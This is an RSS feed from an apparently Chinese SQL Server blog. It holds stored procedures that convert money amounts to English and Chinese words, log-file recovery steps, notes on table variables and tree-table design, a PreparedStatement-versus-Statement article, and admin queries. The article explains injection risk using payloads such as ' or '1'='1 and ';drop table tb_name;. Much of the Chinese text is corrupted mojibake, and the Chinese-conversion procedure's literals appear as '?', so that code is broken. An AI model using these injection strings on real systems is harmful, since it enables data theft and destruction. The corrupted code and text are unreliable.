GMT</pubDate><guid>http://www.aygfsteel.com/liaojiyong/archive/2007/01/16/94223.html</guid><wfw:comment>http://www.aygfsteel.com/liaojiyong/comments/94223.html</wfw:comment><comments>http://www.aygfsteel.com/liaojiyong/archive/2007/01/16/94223.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/liaojiyong/comments/commentRss/94223.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/liaojiyong/services/trackbacks/94223.html</trackback:ping><description><![CDATA[ <p>/***************************************************************************************************************/<br />CREATE Procedure stpMoneyFromNumberToEnglishDecimalFraction<br />@num numeric(18,2),<br />@result  varchar(500) output<br />AS<br />BEGIN<br />  DECLARE @i int,@hundreds int,@tenth int,@one int<br />  DECLARE @thousand int,@million int,@billion int,@trillion int<br />  DECLARE @numbers varchar(500),@s varchar(18)<br />  SET @numbers='one       two       three     four      five      '<br />              +'six       seven     eight     nine      ten       '<br />              +'eleven    twelve    thirteen  fourteen  fifteen   '<br />              +'sixteen   seventeen eighteen  nineteen  '<br />              +'twenty    thirty    forty     fifty     '<br />              +'sixty     seventy   eighty    ninety    '<br />Print @num<br />  SET @s=RIGHT('000000000000000000'+CAST(@num AS varchar(18)),18)<br />  SET @trillion=CAST(SUBSTRING(@s,1,3) AS int)<br />  SET @billion=CAST(SUBSTRING(@s,4,3) AS int)<br />  SET @million=CAST(SUBSTRING(@s,7,3) AS int)<br />  SET @thousand=CAST(SUBSTRING(@s,10,3) AS int)<br />  SET @result=''<br />  SET @i=0<br />  If @num <> 0<br />  Begin<br />    WHILE @i<=4<br />    BEGIN<br />      SET @hundreds=CAST(SUBSTRING(@s,@i*3+1,1) AS int)<br />      SET @tenth=CAST(SUBSTRING(@s,@i*3+2,1) AS int)<br />      SET @one=(CASE @tenth WHEN 1 THEN 10 ELSE 0 END)+CAST(SUBSTRING(@s,@i*3+3,1) AS int)<br />      SET @tenth=(CASE WHEN @tenth<=1 THEN 0 ELSE @tenth END)<br />      IF (@i=1 and @trillion>0 and (@billion>0 or @million>0 or @thousand>0 or @hundreds>0)) or<br />         (@i=2 and (@trillion>0 or @billion>0) and (@million>0 or @thousand>0 or @hundreds>0)) or<br />         (@i=3 and (@trillion>0 or @billion>0 or @million>0) and (@thousand>0 or @hundreds>0)) or<br />         (@i=4 and (@trillion>0 or (@billion>0 or @million>0 or @thousand>0) and @hundreds>0))<br />      SET @result=@result+', '<br />       IF ((@i=3 or @i=4) and (@trillion>0 or @billion>0 or @million>0 or @thousand>0) and (@hundreds=0 and (@tenth>0 or @one>0)))<br />         SET @result=@result+' and '<br />       IF @hundreds>0<br />         SET @result=@result+RTRIM(SUBSTRING(@numbers,@hundreds*10-9,10))+' hundred'<br />       IF @tenth>=2 and @tenth<=9<br />       BEGIN<br />         IF @hundreds>0<br />           SET @result=@result+' and '<br />         SET @result=@result+RTRIM(SUBSTRING(@numbers,@tenth*10+171,10))<br />       END<br />       IF @one>=1 and @one<=19<br />       BEGIN<br />         IF @tenth>0<br />           SET @result=@result+'-'<br />         ELSE<br />           IF @hundreds>0<br />         SET @result=@result+' and '<br />         SET @result=@result+RTRIM(SUBSTRING(@numbers,@one*10-9,10))<br />       END<br />       IF @i=0 and @trillion>0<br />         SET @result=@result+' trillion'<br />       IF @i=1 and @billion>0<br />         SET @result=@result+' billion'<br />       IF @i=2 and @million>0<br />         SET @result=@result+' million'<br />       IF @i=3 and @thousand>0<br />         SET @result=@result+' thousand'<br />       SET @i=@i+1<br />    END<br />    If  SUBSTRING(@s,1,15) <> '000000000000000'<br />    Begin<br />      If @num > 1<br />       SET @result=@result+' Dollars and'<br />      Else<br />       SET @result=@result+' Dollar and'<br />      IF SUBSTRING(@s,17,2)<>'00'<br />      BEGIN<br />      IF SUBSTRING(@s,17,1)>='2' and SUBSTRING(@s,17,1)<='9'<br />      BEGIN<br />        SET @result=@result  + ' ' +RTRIM(SUBSTRING(@numbers,SUBSTRING(@s,17,1)*10+171,10))<br />        If  SUBSTRING(@s,18,1)>='1' and SUBSTRING(@s,18,1)<='9'<br />        SET @result=@result + '-' +RTRIM(SUBSTRING(@numbers,SUBSTRING(@s,18,1)*10-9,10))<br />      END Else<br />      IF  SUBSTRING(@s,17,2)>='1' and  SUBSTRING(@s,17,2)<='19'<br />      BEGIN<br />        SET @result=@result + ' ' +RTRIM(SUBSTRING(@numbers,SUBSTRING(@s,17,2)*10-9,10))<br />      END<br />         If (@num-Floor(@num))*100 > 1<br />         SET @result=@result + ' Cents'<br />       Else<br />         SET @result=@result + ' Cent'<br />      End else<br />      Begin<br />        SET  @result=SUBSTRING(@result,0,len(@result)-3)<br />      End<br />    End Else<br />    Begin<br />      IF SUBSTRING(@s,17,1)>='2' and SUBSTRING(@s,17,1)<='9'<br />      BEGIN<br />        SET @result=@result  + ' ' +RTRIM(SUBSTRING(@numbers,SUBSTRING(@s,17,1)*10+171,10))<br />        If  SUBSTRING(@s,18,1)>='1' and SUBSTRING(@s,18,1)<='9'<br />        SET @result=@result + '-' +RTRIM(SUBSTRING(@numbers,SUBSTRING(@s,18,1)*10-9,10))<br />      END Else<br />      IF  SUBSTRING(@s,17,2)>='1' and  SUBSTRING(@s,17,2)<='19'<br />      BEGIN<br />        SET @result=@result + ' ' +RTRIM(SUBSTRING(@numbers,SUBSTRING(@s,17,2)*10-9,10))<br />      END<br />      If (@num-Floor(@num))*100 > 1<br />       SET @result=@result + ' Cents'<br />      Else<br />       SET @result=@result + ' Cent'<br />    End<br />    Set @result=LTRIM(@result)<br />  End Else<br />    Set @result= 'Zero Dollar'<br />END<br />GO<br />--Drop Procedure    fMoneyFromNumberToEnglishDecimalFraction<br />declare @a varchar(800)<br />Exec stpMoneyFromNumberToEnglishDecimalFraction  123.566 ,@a  output<br />print @a</p> <p> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br />/***************************************************************************************************************/<br />CREATE FUNCTION [dbo].[f_num_eng] (@num numeric(15,2))<br />RETURNS varchar(400) WITH ENCRYPTION<br />AS<br />BEGIN<br />--All rights reserved. pbsql<br />  DECLARE @i int,@hundreds int,@tenth int,@one int<br />  DECLARE @thousand int,@million int,@billion int<br />  DECLARE @numbers varchar(400),@s varchar(15),@result varchar(400)<br />  SET @numbers='one       two       three     four      five      '<br />              +'six       seven     eight     nine      ten       '<br />              +'eleven    twelve    thirteen  fourteen  fifteen   '<br />              +'sixteen   seventeen eighteen  nineteen  '<br />              +'twenty    thirty    forty     fifty     '<br />              +'sixty     seventy   eighty    ninety    '<br />  SET @s=RIGHT('000000000000000'+CAST(@num AS varchar(15)),15)<br />  SET @billion=CAST(SUBSTRING(@s,1,3) AS int)--?12位整?分成4D:?、百万、千、百?<br />  SET @million=CAST(SUBSTRING(@s,4,3) AS int)<br />  SET @thousand=CAST(SUBSTRING(@s,7,3) AS int)<br />  SET @result=''<br />  SET @i=0<br />  WHILE @i<=3<br />  BEGIN<br />    SET @hundreds=CAST(SUBSTRING(@s,@i*3+1,1) AS int)--百位0-9<br />    SET @tenth=CAST(SUBSTRING(@s,@i*3+2,1) AS int)<br />    SET @one=(CASE @tenth WHEN 1 THEN 10 ELSE 0 END)+CAST(SUBSTRING(@s,@i*3+3,1) AS int)--??-19<br />    SET @tenth=(CASE WHEN @tenth<=1 THEN 0 ELSE @tenth END)--十位0?-9<br />    IF (@i=1 and @billion>0 and (@million>0 or @thousand>0 or @hundreds>0)) or<br />       (@i=2 and (@billion>0 or @million>0) and (@thousand>0 or @hundreds>0)) or<br />       (@i=3 and (@billion>0 or @million>0 or @thousand>0) and (@hundreds>0))<br />      SET @result=@result+', '--百位不是0?每段??接符,<br />    IF (@i=3 and (@billion>0 or @million>0 or @thousand>0) and (@hundreds=0 and (@tenth>0 or @one>0)))<br />      SET @result=@result+' and '--百位???接符AND<br />    IF @hundreds>0<br />      SET @result=@result+RTRIM(SUBSTRING(@numbers,@hundreds*10-9,10))+' hundred'<br />    IF @tenth>=2 and @tenth<=9<br />    BEGIN<br />      IF @hundreds>0<br />        SET @result=@result+' and '<br />      SET @result=@result+RTRIM(SUBSTRING(@numbers,@tenth*10+171,10))<br />    END<br />    IF @one>=1 and @one<=19<br />    BEGIN<br />      IF @tenth>0<br />        SET @result=@result+'-'<br />      ELSE<br />        IF @hundreds>0<br />          SET @result=@result+' and '<br />      SET @result=@result+RTRIM(SUBSTRING(@numbers,@one*10-9,10))<br />    END<br />    IF @i=0 and @billion>0<br />      SET @result=@result+' billion'<br />    IF @i=1 and @million>0<br />      SET @result=@result+' million'<br />    IF @i=2 and @thousand>0<br />      SET @result=@result+' thousand'<br />    SET @i=@i+1<br />  END<br />  IF SUBSTRING(@s,14,2)<>'00'<br />  BEGIN<br />    SET @result=@result+' point '<br />    IF SUBSTRING(@s,14,1)='0'<br />      SET @result=@result+'zero'<br />    ELSE<br />      SET @result=@result+RTRIM(SUBSTRING(@numbers,CAST(SUBSTRING(@s,14,1) AS int)*10-9,10))<br />    IF SUBSTRING(@s,15,1)<>'0'<br />      SET @result=@result+' '+RTRIM(SUBSTRING(@numbers,CAST(SUBSTRING(@s,15,1) AS int)*10-9,10))<br />  END<br />  RETURN(@result)<br />END<br /></p> <img src ="http://www.aygfsteel.com/liaojiyong/aggbug/94223.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/liaojiyong/" target="_blank">liaojiyong</a> 2007-01-16 15:49 <a href="http://www.aygfsteel.com/liaojiyong/archive/2007/01/16/94223.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>金额阿拉伯数字{换ؓ中文的存储过E?/title><link>http://www.aygfsteel.com/liaojiyong/archive/2007/01/16/94222.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Tue, 16 Jan 2007 07:46:00 GMT</pubDate><guid>http://www.aygfsteel.com/liaojiyong/archive/2007/01/16/94222.html</guid><wfw:comment>http://www.aygfsteel.com/liaojiyong/comments/94222.html</wfw:comment><comments>http://www.aygfsteel.com/liaojiyong/archive/2007/01/16/94222.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/liaojiyong/comments/commentRss/94222.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/liaojiyong/services/trackbacks/94222.html</trackback:ping><description><![CDATA[ <font size="2"> <font color="#c60a00"> <font color="#000000" size="3">/********************************************************<br />作者:(wleii165@yahoo.com)<br />版本Q?.0<br />创徏旉Q?0020227<br />修改旉Q?br />功能Q小写金额{换成大写<br />参数Qn_LowerMoney 写金额<br />          v_TransType U类 -- 1: directly translate, 0: read it in words <br />输出Q大写金?br />********************************************************/<br />CREATE PROCEDURE dbo.L2U <br />(<br />@n_LowerMoney numeric(15,2),<br />@v_TransType int,<br />@RET VARCHAR(200) output<br />)<br /> AS <br />  <br />Declare @v_LowerStr VARCHAR(200) -- 写金额 <br />Declare @v_UpperPart VARCHAR(200) <br />Declare @v_UpperStr VARCHAR(200) -- 大写金额<br />Declare @i_I int<br /><br />set nocount on<br /><br />select @v_LowerStr = LTRIM(RTRIM(STR(@n_LowerMoney,20,2))) --四舍五入为指定的_ֺq删除数据左右空?br /><br />select @i_I = 1<br />select @v_UpperStr = ''<br /><br />while ( @i_I <= len(@v_LowerStr))<br />begin<br />      select @v_UpperPart = case substring(@v_LowerStr,len(@v_LowerStr) - @i_I + 1,1)<br />                            WHEN  '.' THEN  '?<br />                            WHEN  '0' THEN  '?<br />                            WHEN  '1' THEN  '?<br />                            WHEN  '2' THEN  '?<br />                            WHEN  '3' THEN  '?<br />                            WHEN  '4' THEN  '?<br />                            WHEN  '5' THEN  '?<br />                            WHEN  '6' THEN  '?<br />                            WHEN  '7' THEN  '?<br />                            WHEN  '8' THEN  '?<br />                            WHEN  '9' THEN  '?<br />                            END<br />                          + <br />                            case @i_I<br />                            WHEN  1  THEN  '?<br />                            WHEN  2  THEN  '?<br />                            WHEN  3  THEN  ''<br />                            WHEN  4  THEN  ''<br />                            WHEN  5  THEN  '?<br />                            WHEN  6  THEN  '?<br />                            WHEN  7  THEN  '?<br />                            WHEN  8  THEN  '?<br />                            WHEN  9  THEN  '?<br />                            WHEN  10  THEN  '?<br />                            WHEN  11  THEN  '?<br />                            WHEN  12  THEN  '?<br />                            WHEN  13  THEN  '?<br />                            WHEN  14  THEN  '?<br />                            WHEN  15  THEN  '?<br />                            WHEN  16  THEN  '?<br />                            ELSE ''<br />                            END<br />select @v_UpperStr = @v_UpperPart + @v_UpperStr<br />select @i_I = @i_I + 1<br />end<br /><br />--------print  '//v_UpperStr ='+@v_UpperStr +'//'<br /><br />if ( @v_TransType=0 )<br />begin<br />select @v_UpperStr = REPLACE(@v_UpperStr,'零拾','?) <br />select @v_UpperStr = REPLACE(@v_UpperStr,'零䘪','?) <br />select @v_UpperStr = REPLACE(@v_UpperStr,'零仟','?) <br />select @v_UpperStr = REPLACE(@v_UpperStr,'雉?,'?)<br />select @v_UpperStr = REPLACE(@v_UpperStr,'雉','?)<br />select @v_UpperStr = REPLACE(@v_UpperStr,'零角零分','?)<br />select @v_UpperStr = REPLACE(@v_UpperStr,'零分','?)<br />select @v_UpperStr = REPLACE(@v_UpperStr,'零角','?)<br />select @v_UpperStr = REPLACE(@v_UpperStr,'零亿零万零元','亿元')<br />select @v_UpperStr = REPLACE(@v_UpperStr,'争K万零?,'亿元')<br />select @v_UpperStr = REPLACE(@v_UpperStr,'零亿零万','?)<br />select @v_UpperStr = REPLACE(@v_UpperStr,'零万零元','万元')<br />select @v_UpperStr = REPLACE(@v_UpperStr,'万零?,'万元')<br />select @v_UpperStr = REPLACE(@v_UpperStr,'零亿','?)<br />select @v_UpperStr = REPLACE(@v_UpperStr,'零万','?)<br />select @v_UpperStr = REPLACE(@v_UpperStr,'零元','?)<br />select @v_UpperStr = REPLACE(@v_UpperStr,'雉','?)<br />end<br /><br />-- 对壹元以下的金额的处理?br />if ( substring(@v_UpperStr,1,1)='? )<br />begin<br />     select @v_UpperStr = substring(@v_UpperStr,2,(len(@v_UpperStr) - 1))<br />end<br /><br />if (substring(@v_UpperStr,1,1)= '?)<br />begin<br />     select @v_UpperStr = substring(@v_UpperStr,2,(len(@v_UpperStr) - 1))<br />end<br /><br />if (substring(@v_UpperStr,1,1)='?)<br />begin<br />     select @v_UpperStr = substring(@v_UpperStr,2,(len(@v_UpperStr) - 1))<br />end<br /><br />if ( substring(@v_UpperStr,1,1)='?)<br />begin<br />     select @v_UpperStr = substring(@v_UpperStr,2,(len(@v_UpperStr) - 1))<br />end<br /><br />if (substring(@v_UpperStr,1,1)='?)<br />begin<br />     select @v_UpperStr = '零元?<br />end<br /><br />select @ret=@v_UpperStr<br /><br />GO<br /><br />调用q程Q?br /><br />declare @ret varchar(200)<br /><br />exec L2U 567983.897,1,@ret output<br /><br />select @ret</font> <br /> <imgborder src=".. ?id='21123" width="1" height="1" onload="returnimgzoom(this,550)" '=""> </imgborder> </font> </font> <img src ="http://www.aygfsteel.com/liaojiyong/aggbug/94222.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/liaojiyong/" target="_blank">liaojiyong</a> 2007-01-16 15:46 <a href="http://www.aygfsteel.com/liaojiyong/archive/2007/01/16/94222.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>恢复丢失的SQL Server日志http://www.aygfsteel.com/liaojiyong/archive/2006/10/13/74908.htmlliaojiyongliaojiyongFri, 13 Oct 2006 01:21:00 GMThttp://www.aygfsteel.com/liaojiyong/archive/2006/10/13/74908.htmlhttp://www.aygfsteel.com/liaojiyong/comments/74908.htmlhttp://www.aygfsteel.com/liaojiyong/archive/2006/10/13/74908.html#Feedback0http://www.aygfsteel.com/liaojiyong/comments/commentRss/74908.htmlhttp://www.aygfsteel.com/liaojiyong/services/trackbacks/74908.html  

      一?概述

  在应用系l中Q数据库往往是最核心的部分,一旦数据库毁坏或损坏,会带来巨大的损失,所以数据库的管理越来越重要。我们在做数据库理与维护工作中Q不可避免会出现各种各样的错误,本文针对数据库的日志文g丢失时如何利用MDF文g恢复数据库的Ҏq行了研I?

  二?数据库的恢复

  当数据库的主数据MDF文g完好无损Ӟ在丢׃LDF文g的情况下Q如何利用MDF文g恢复数据库?我们把SQL Server的日志文件分Zc:一cL无活动事务的日志Q另一cL含活动事务的日志Q根据不同的日志Q采取不同的Ҏ来恢复数据库?br />
  1. 无活动事务的日志恢复

  无活动事务的日志丢失Ӟ我们很容易利用MDF文g直接恢复数据库,具体Ҏ如下Q?br />
  ?分离被质疑的数据库,可用企业理器中?分离数据库工?Q或者用存储q程sp_detach_db分离数据库;

  ②利用MDF文g附加数据库生成新的日志文Ӟ可用企业理器中?附加数据?的工P或者用存储q程sp_attach_single_file_db附加数据库?br />
  如果数据库的日志文g中含有活动事务,利用此方法就不能恢复数据库?br />
  2. 含活动事务的日志恢复

  含有zd事务的日志丢失时Q利用上q方法就会出?数据库和日志文g不符合,不能附加数据?。对于这U情况下Q我们采用如下方法:

  ①新建同名数据库AAAQƈ讑֮为紧急模?br />
  ·停止SQL Server服务器;

  ·把数据库L据MDF文gU走Q?br />
  ·启SQL Server服务器,新徏一个同名的数据库AAAQ?

  ·停止SQL Server服务器,把移走的MDF文g再覆盖回来;

  ·启动SQL Server服务器,把AAA设ؓ紧急模式,不过默认情况下,pȝ表是不能随便修改的,必须首先讄一下其能被修改,q行以下语句卛_Q?br />

Use Master
Go
sp_configure ’allow updates?1
reconfigure with override
Go

  接着q行以下语句Q把AAA数据库设为紧急模式,xSysdatabases表中AAA数据库的status属性设为?7268?pC把AAA数据库处于紧急模式?br />
update sysdatabases set status=32768 where hame=’AAA?/td>

  如果没有报告什么错误,可以进行以下操作?br />
  ②设|数据库AAA为单用户模式Qƈ查数据库

  ·重启SQL Server服务器;

  ·把数据库AAA设ؓ单用h?br />
Sp_dboption ’AAA? ’single user? ’true?/td>

  ·q行以下语句Q检查数据库AAA

DBCC CHECKDB(’AAA?

  如果没有什么大的问题就可以把数据库的状态改回去?br />
  ③还原数据库的状?br />
  q行以下语句Q就可以把数据库的状态还原:

update sysdatabases set status=28 where name=’AAA?br />sp_configure ’allow updates?0
reconfigure with override
Go

  如果没有什么大的问题,h一下数据库Q数据库AAA又会出现在你面前Q但目前恢复工作q没有做完,此时的数据库仍不能工作,q要q行下面的处理,才能真正恢复?br />
  ④利用DTS的导入导出向|把数据库AAA导入C个新建数据库BBB?br />
  ·新徏一个数据库BBB;

  ·叛_BBBQ选择IMPORT功能Q打开导入向导Q?br />
  ·目标源选择"在SQL Server数据库之间复制对象和数据?Q这样可以把表结构,数据视图和存储过E导入到BBB?br />
  ·再用此功能把BBB库替换成原来的AAA库即可?br />
  到此为止Q数据库AAA完全恢复?br />
  三?结

  日志文g丢失是一仉常危险的事情Q很有可能你的数据库d毁坏。SQL Server数据库的恢复都是靠日志文件来完成Q所以无论如何都要保证日志文件的存在Q它臛_重要。ؓ了我们的数据库万无一失,最好采用多U备份方式相l合Q所以我们要从心里重视数据库的管理与l护工作?!--NEWSZW_HZH_BEGIN-->


liaojiyong 2006-10-13 09:21 发表评论
]]>
SQL中Table型数据与用户自定义函??http://www.aygfsteel.com/liaojiyong/archive/2006/10/10/74265.htmlliaojiyongliaojiyongTue, 10 Oct 2006 04:19:00 GMThttp://www.aygfsteel.com/liaojiyong/archive/2006/10/10/74265.htmlhttp://www.aygfsteel.com/liaojiyong/comments/74265.htmlhttp://www.aygfsteel.com/liaojiyong/archive/2006/10/10/74265.html#Feedback0http://www.aygfsteel.com/liaojiyong/comments/commentRss/74265.htmlhttp://www.aygfsteel.com/liaojiyong/services/trackbacks/74265.html
Declare @TableVar Table
(Cola int Primary Key,Colb char(3))
Insert Into @TableVar Values (1, 'abc')
Insert Into @TableVar Values (2, 'def')
Select * From @TableVar

以上语句定义了一个名为TableVar,有两列的table 型变量像通常的表一样table 型数据也有insert select {操作。在SQL Server 2000 中table 型数据与用户自定义函数是密不可分的,SQL Server 2000支持两种cd的函敎ͼ内置函数和用户定义函数。内|函数只允许T-SQL 语句调用而不能更改用。用户定义函数可以根据需要定义自己所需的函数?span style="COLOR: rgb(255,102,0); TEXT-DECORATION: underline">用户定义函数可以带参敎ͼ也可以不带参敎ͼ但只能返回单倹{正是由于这个原因SQL Server 2000 增加了table 型数?/span>Q其值可以是整型字符型或数值型。下例是一个简单的用户定义函数说明了用户定义函数的基本l构:
Create Function CubicVolume
(@CubeLength decimal(4,1),@CubeWidth decimal(4,1),@CubeHeight decimal(4,1) )
Returns decimal(12,3)
As
Begin
Return (@CubeLength * @CubeWidth * @CubeHeight)
End
--SELECT  AppDta.dbo.CubicVolume (10,8,6)

在上例中用CREATE FUNCTION 创徏了一个函数CubicVolume 来计立方体的体U,变量CubeLength CubeWidth CubeHeight 入参敎ͼq回gؓ数值型。BEGIN 表明函数体的开始,END 表明函数体的l束。通过下例 我们׃清楚用户定义函数与table 型数据是如何有机l合的:

Use pubs

Create Function SalesByStore(@storeid varchar(30))
Returns Table
As
Return (Select title, qty From sales s, titles t
Where s.stor_id = @storeid and t.title_id = s.title_id)

-- select * from sales
SELECT * FROM Pubs.dbo.SalesByStore(7131)


liaojiyong 2006-10-10 12:19 发表评论
]]>
数据库物理模型设计的其他模式之自联结模式(?http://www.aygfsteel.com/liaojiyong/archive/2006/10/10/74264.htmlliaojiyongliaojiyongTue, 10 Oct 2006 04:14:00 GMThttp://www.aygfsteel.com/liaojiyong/archive/2006/10/10/74264.htmlhttp://www.aygfsteel.com/liaojiyong/comments/74264.htmlhttp://www.aygfsteel.com/liaojiyong/archive/2006/10/10/74264.html#Feedback0http://www.aygfsteel.com/liaojiyong/comments/commentRss/74264.htmlhttp://www.aygfsteel.com/liaojiyong/services/trackbacks/74264.html自联l模式,也可以看作是“主从模式”的一U特D情况(或者说是“变形”)Q它在一张表内实C“一对多关系”,q且可以Ҏ业务需要实现“有限层”或者“无限层”的M嵌套?/div>
q种模式用得最多的情况是实现“树形结构”数据的存储Q比如各大网站上常见的细分类别、应用系l的l织l构、Webpȝ的菜单树{都能用到这U模式?/div>
自联l模式有很多变体Q且每种变体的优~点同样鲜明。由于本q蝲的重点在于对跨行业通用数据库模型设计进行分析,所以对每种具体模式的细节方面的设计技巧不能作详细Q请大家原谅。这里仅举两个例子说明:
 
1.       单自联结
单自联结Q就是在一个表里设|当前类ID、父cIDQ同时规定最层cȝ父类IDZ个固定|比如0Q,在生成树的时候用递归法Q记录的前后序通过“排序号”字D|定?/div>
?
q个表用来存储菜单树很方ѝ首先会有一个主菜单Q主菜单下有子菜单,子菜单下面又有孙菜单……菜单的数量不确定、层U不定Q用户可以在L菜单下增加新的子菜单Q或者删除某个子菜单及其下的所有孙菜单……这U设计方式很多h都会用到Q短精悍、维护方ѝ且完全满用户需求,而且树的层次不限Q扩展v来非常容易。这些都是它的优炏V?/div>
它的~点是树结构的生成׃使用了递归法Q必然要对该表进行多ơ读取(d的次?= 表内的记录数 ?最深层U的记录敎ͼQ多ơ读取就来了比较低的q行效率Q当表里的记录很多的时候,q个~点可以U得上是致命的?/div>
于是有了下面的q种设计模式?/div>
2.       扩展自联l?/div>
扩展自联l,与简单自联结的最大区别就是通过附加冗余字段来避免递归q算Q所要实现的主要目标是一ơ读取就能生成整个树Q一ơ提高树的生成效率?/div>
但是Q鱼与熊掌不可兼得,凡事都有两面性?/div>
生成树的效率提高了,增删改表内记录的法׃相应复杂Qƈ且树的层C变ؓ有限的了?/div>
所以在此类设计的时候,大家q是要认真分析业务需求,看看实际业务的重点在什么地方,然后再作具体设计。比如一些门L站在首页昄产品cd是业务重点,那么我们在设计的时候就要尽可能的提高生成树的效率,采取扩展自联l模式;相反Q一些基于Web的业务系l,要求对菜单树的增删改l护操作量单,׃菜单的数目不多,所以菜单树的生成效率不是瓶颈,那么我们设计的时候就可以采取单自联结模式?/div>
关于附加冗余字段实现扩展自联l的Ҏ很多Q网上也有很多这斚w的帖子,大家可以到Google上搜一下?/div>
在这里仅举一个例子如下:
?0
q个设计与前面的设计最大的区别是排序字段Q前面的单自联结用了一个整数型的字D|实现排序Q这里用了一个Varchar20型的字段“层U代码”来实现大排序。这个字D늚取g位一l,代表一层,假定最׃ؓ5层,初始gؓ0000000000?/div>
按照q样的设计,表内的数据记录可能就是这LQ?
ID           TypeName           ParentID            TypeLevel
1             根类?span>               0                 000000
2             cd1                1                 010000
3             cd1.1              2                 010100
4             cd1.2              2                 010200
5             cd2                1                 020000
6             cd2.1              5                 020100
7             cd3                1                 030000
8             cd3.1              7                 030100
9             cd3.2              7                 030200
10            cd1.1.1            3                 010101
…?/div>
现在按TypeLevel字段q行排序Q执行如下SQL语句QSELECT * FROM TMP_Type ORDER BY TypeLevel
列出记录集如下:
ID           TypeName           ParentID            TypeLevel
1             ȝ?span>               0                 000000
2             cd1                1                 010000
3             cd1.1              2                 010100
10            cd1.1.1            3                 010101
4             cd1.2              2                 010200
5             cd2                1                 020000
6             cd2.1              5                 020100
7             cd3                1                 030000
8             cd3.1              7                 030100
9             cd3.2              7                 030200
…?/div>
在控制显C类别的层次Ӟ只要对“层U代码”字D中的数D行判断,?位一l,如大?则向右移2个空根{?/div>

liaojiyong 2006-10-10 12:14 发表评论
]]>Z么要始终使用PreparedStatement代替Statement? (?http://www.aygfsteel.com/liaojiyong/archive/2006/10/10/74263.htmlliaojiyongliaojiyongTue, 10 Oct 2006 04:09:00 GMThttp://www.aygfsteel.com/liaojiyong/archive/2006/10/10/74263.htmlhttp://www.aygfsteel.com/liaojiyong/comments/74263.htmlhttp://www.aygfsteel.com/liaojiyong/archive/2006/10/10/74263.html#Feedback0http://www.aygfsteel.com/liaojiyong/comments/commentRss/74263.htmlhttp://www.aygfsteel.com/liaojiyong/services/trackbacks/74263.htmlZ以下的原?
一.代码的可L和可维护?
虽然用PreparedStatement来代替Statement会代码多出几行,但这L代码无论从可L还是可l护性上来说.都比直接用Statement的代码高很多档次:

stmt.executeUpdate("insert into tb_name (col1,col2,col2,col4) values ('"+var1+"','"+var2+"',"+var3+",'"+var4+"')");

perstmt = con.prepareStatement("insert into tb_name (col1,col2,col2,col4) values (?,?,?,?)");
perstmt.setString(1,var1);
perstmt.setString(2,var2);
perstmt.setString(3,var3);
perstmt.setString(4,var4);
perstmt.executeUpdate();

不用我多?对于W一U方?别说其他人去M的代?是你自p一D|间再去读,都会觉得伤心.

?PreparedStatement最大可能提高性能.
每一U数据库都会最大努力对预编译语句提供最大的性能优化.因ؓ预编译语句有可能被重复调?所以语句在被DB的编译器~译后的执行代码被缓存下?那么下次调用时只要是相同的预~译语句׃需要编?只要参数直接传入编译过的语句执行代码中(相当于一个涵?׃得到执行.qƈ不是说只有一个Connection中多ơ执行的预编译语句被~存,而是对于整个DB?只要预编译的语句语法和缓存中匚w.那么在Q何时候就可以不需要再ơ编译而可以直接执?而statement的语句中,即是相同一操作,而由于每ơ操作的数据不同所以整个语句相匹配的Z极小,几乎不太可能匚w.比如:
insert into tb_name (col1,col2) values ('11','22');
insert into tb_name (col1,col2) values ('11','23');
即是相同操作但因ؓ数据内容不一?所以整个个语句本n不能匚w,没有~存语句的意?事实是没有数据库会对普通语句编译后的执行代码缓?

当然q不是所以预~译语句都一定会被缓?数据库本w会用一U策?比如使用频度{因素来军_什么时候不再缓存已有的预编译结?以保存有更多的空间存储新的预~译语句.

?最重要的一Ҏ极大地提高了安全?

即到目前ؓ?仍有一些hq基本的恶义SQL语法都不知道.
String sql = "select * from tb_name where name= '"+varname+"' and passwd='"+varpasswd+"'";
如果我们把[' or '1' = '1]作ؓvarpasswd传入q来.用户名随?看看会成Z?

select * from tb_name = '随意' and passwd = '' or '1' = '1';
因ؓ'1'='1'肯定成立,所以可以Q何通过验证.更有甚?
把[';drop table tb_name;]作ؓvarpasswd传入q来,?
select * from tb_name = '随意' and passwd = '';drop table tb_name;有些数据库是不会让你成功?但也有很多数据库可以ɘq些语句得到执行.

而如果你使用预编译语?你传入的M内容׃会和原来的语句发生Q何匹配的关系.只要全用预~译语句,你就用不着对传入的数据做Q何过?而如果用普通的statement,有可能要对drop,;{做费尽心机的判断和q虑.

上面的几个原?q不你在M时候都使用PreparedStatement? 

liaojiyong 2006-10-10 12:09 发表评论
]]>
SQL Server 理常用的SQL和T-SQL(?http://www.aygfsteel.com/liaojiyong/archive/2006/10/10/74260.htmlliaojiyongliaojiyongTue, 10 Oct 2006 04:01:00 GMThttp://www.aygfsteel.com/liaojiyong/archive/2006/10/10/74260.htmlhttp://www.aygfsteel.com/liaojiyong/comments/74260.htmlhttp://www.aygfsteel.com/liaojiyong/archive/2006/10/10/74260.html#Feedback0http://www.aygfsteel.com/liaojiyong/comments/commentRss/74260.htmlhttp://www.aygfsteel.com/liaojiyong/services/trackbacks/74260.html   select @@version
   
   常见的几USQL SERVER打补丁后的版本号:
   
    8.00.194   Microsoft SQL Server 2000 
    8.00.384   Microsoft SQL Server 2000 SP1 
    8.00.532   Microsoft SQL Server 2000 SP2 
    8.00.760   Microsoft SQL Server 2000 SP3 
    8.00.818   Microsoft SQL Server 2000 SP3 w/ Cumulative Patch MS03-031 
    8.00.2039  Microsoft SQL Server 2000 SP4  
   
2. 查看数据库所在机器操作系l参?   
   exec master..xp_msver
   
3. 查看数据库启动的参数        
   sp_configure
        
4. 查看数据库启动时闾b      ?
   select convert(varchar(30),login_time,120) from master..sysprocesses where spid=1
   
   查看数据库服务器名和实例?
   print 'Server Name...............: ' + convert(varchar(30),@@SERVERNAME)        
   print 'Instance..................: ' + convert(varchar(30),@@SERVICENAME)      

5. 查看所有数据库名称及大?
